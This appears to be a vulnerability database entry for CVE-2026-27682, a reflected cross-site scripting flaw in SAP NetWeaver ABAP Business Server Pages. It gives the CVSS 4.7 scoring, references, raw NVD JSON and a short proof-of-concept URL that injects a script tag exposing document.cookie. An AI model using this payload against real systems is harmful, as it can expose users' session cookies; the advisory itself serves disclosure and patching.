CVE-2026-27682

Description

Due to a reflected cross-site scripting (XSS) vulnerability in SAP NetWeaver Application Server ABAP (Applications based on Business Server Pages), an unauthenticated attacker could craft a URL that exploits an unprotected URL parameter to embed a malicious script. If a victim clicks the link, the injected input is processed during web page generation, resulting in the execution of malicious content in the victim�s browser context. This could allow the attacker to access and/or modify information, impacting the confidentiality and integrity of the application, with no impact to availability.

CVSS Details

CVSS Score

4.7

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

SAP NetWeaver Application Server ABAP (具体受影响版本参考 SAP Security Note 3728690)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC Concept for Reflected XSS in SAP NetWeaver ABAP BSP
Attacker constructs the following URL:
-->

https://[target-host]/sap/bsp/[application_name]/[page_name]?vulnerable_param=<script>alert('XSS_Test:'+document.cookie)</script>

<!--
Description:
If the parameter 'vulnerable_param' is reflected unsanitized in the response,
the victim's browser will execute the JavaScript, displaying an alert box with the session cookie.
-->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27682
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27682
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27682/
[4] VulDB https://vuldb.com/cve/CVE-2026-27682
[5] https://me.sap.com/notes/3728690
[6] https://url.sap/sapsecuritypatchday

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-27682", "sourceIdentifier": "[email protected]", "published": "2026-05-12T03:16:11.103", "lastModified": "2026-05-12T03:16:11.103", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to a reflected cross-site scripting (XSS) vulnerability in SAP NetWeaver Application Server ABAP (Applications based on Business Server Pages), an unauthenticated attacker could craft a URL that exploits an unprotected URL parameter to embed a malicious script. If a victim clicks the link, the injected input is processed during web page generation, resulting in the execution of malicious content in the victim�s browser context. This could allow the attacker to access and/or modify information, impacting the confidentiality and integrity of the application, with no impact to availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://me.sap.com/notes/3728690", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}